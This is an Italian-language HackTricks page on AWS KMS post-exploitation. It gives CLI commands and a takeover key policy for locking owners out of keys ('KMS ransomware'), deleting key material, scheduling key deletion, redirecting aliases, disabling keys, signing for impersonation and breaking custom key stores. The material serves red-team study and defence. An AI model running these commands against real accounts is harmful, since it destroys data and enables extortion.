AWS - KMS Post Exploitation
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
KMS
Per maggiori informazioni consulta:
Crittografia/Decriptazione delle informazioni
fileb:// e file:// sono schemi URI usati nei comandi AWS CLI per specificare il percorso di file locali:
fileb://:Legge il file in modalitĂ binaria, comunemente usato per file non di testo.file://:Legge il file in modalitĂ testo, tipicamente usato per file di testo semplice, script o JSON che non hanno requisiti di codifica speciali.
Tip
Nota che se vuoi decriptare dei dati allâinterno di un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)
- Usando una chiave simmetrica
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Usare una chiave asimmetrica:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Un attacker con accesso privilegiato su KMS potrebbe modificare la KMS policy delle chiavi e concedere al suo account lâaccesso a esse, rimuovendo lâaccesso concesso al legit account.
Di conseguenza, gli utenti del legit account non potranno piĂš accedere alle informazioni di qualunque servizio che sia stato criptato con quelle chiavi, creando un ransomware semplice ma efficace sullâaccount.
Warning
Nota che AWS managed keys arenât affected da questo attacco, solo Customer managed keys.
Nota anche la necessitĂ di usare il parametro
--bypass-policy-lockout-safety-check(lâassenza di questa opzione nella web console rende questo attacco possibile solo da CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
Nota che se modifichi quella policy e concedi lâaccesso solo a un account esterno, e poi da questo account esterno provi a impostare una nuova policy per restituire lâaccesso allâaccount originale, non potrai perchĂŠ lâazione Put Polocy non può essere eseguita da un cross account.
.png)
KMS Ransomware generico
Esiste un altro modo per eseguire un KMS Ransomware globale, che comporterebbe i seguenti passaggi:
- Creare una nuova key con un key material importato dallâattacker
- Re-encrypt i dati piĂš vecchi della vittima crittografati con la versione precedente usando quella nuova.
- Eliminare la KMS key
- Ora solo lâattacker, che possiede il key material originale, potrebbe essere in grado di decrittare i dati cifrati
Delete Keys via kms:DeleteImportedKeyMaterial
Con la permissione kms:DeleteImportedKeyMaterial, un actor può cancellare il key material importato dalle CMKs con Origin=EXTERNAL (CMKs che hanno importato il loro key material), rendendole incapaci di decrittare i dati. Questa azione è distruttiva e irreversibile a meno che non venga re-importato materiale compatibile, permettendo a un attacker di causare effettivamente una perdita di dati simile a ransomware rendendo le informazioni cifrate permanentemente inaccessibili.
aws kms delete-imported-key-material --key-id <Key_ID>
Distruggere le chiavi
Distruggendo le chiavi è possibile eseguire un DoS.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
Nota che AWS ora impedisce che le azioni precedenti possano essere eseguite da account diversi:
Cambiare o eliminare Alias
Questo attacco elimina o reindirizza gli alias di AWS KMS, interrompendo la risoluzione delle chiavi e causando fallimenti immediati in qualsiasi servizio che si affidi a quegli alias, risultando in un denial-of-service. Con permessi come kms:DeleteAlias o kms:UpdateAlias un attaccante può rimuovere o ripuntare gli alias e interrompere le operazioni crittografiche (e.g., encrypt, describe). Qualsiasi servizio che faccia riferimento allâalias invece che al key ID può fallire fino a quando lâalias non viene ripristinato o rimappato correttamente.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Cancel Key Deletion
Con permessi come kms:CancelKeyDeletion e kms:EnableKey, un attore può annullare la cancellazione programmata di una customer master key di AWS KMS e successivamente riabilitarla. In questo modo si recupera la chiave (inizialmente nello stato Disabled) e si ripristina la sua capacitĂ di decrittare dati precedentemente protetti, consentendo lâesfiltrazione.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Disabilita chiave
Con il permesso kms:DisableKey, un attore può disabilitare una AWS KMS customer master key, impedendone lâutilizzo per encryption o decryption. Questo interrompe lâaccesso per qualsiasi servizio che dipenda da quella CMK e può causare interruzioni immediate o un denial-of-service fino a quando la chiave non viene riattivata.
aws kms disable-key \
--key-id <key_id>
Derivare Shared Secret
Con il permesso kms:DeriveSharedSecret, un attore può usare una chiave privata detenuta da KMS insieme a una chiave pubblica fornita dallâutente per calcolare un ECDH shared secret.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Impersonazione tramite kms:Sign
Con il permesso kms:Sign, un attore può usare una KMS-stored CMK per firmare criptograficamente i dati senza esporre la private key, producendo firme valide che possono permettere lâimpersonazione o autorizzare azioni malevole.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS con Custom Key Stores
Con permessi come kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore o kms:UpdateCustomKeyStore, un attore può modificare, disconnettere o eliminare un AWS KMS Custom Key Store (CKS), rendendo le sue chiavi master inoperabili. Questo interrompe le operazioni di cifratura, decifratura e firma per qualsiasi servizio che si basi su quelle chiavi e può causare un immediato denial-of-service. Limitare e monitorare tali permessi è quindi fondamentale.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

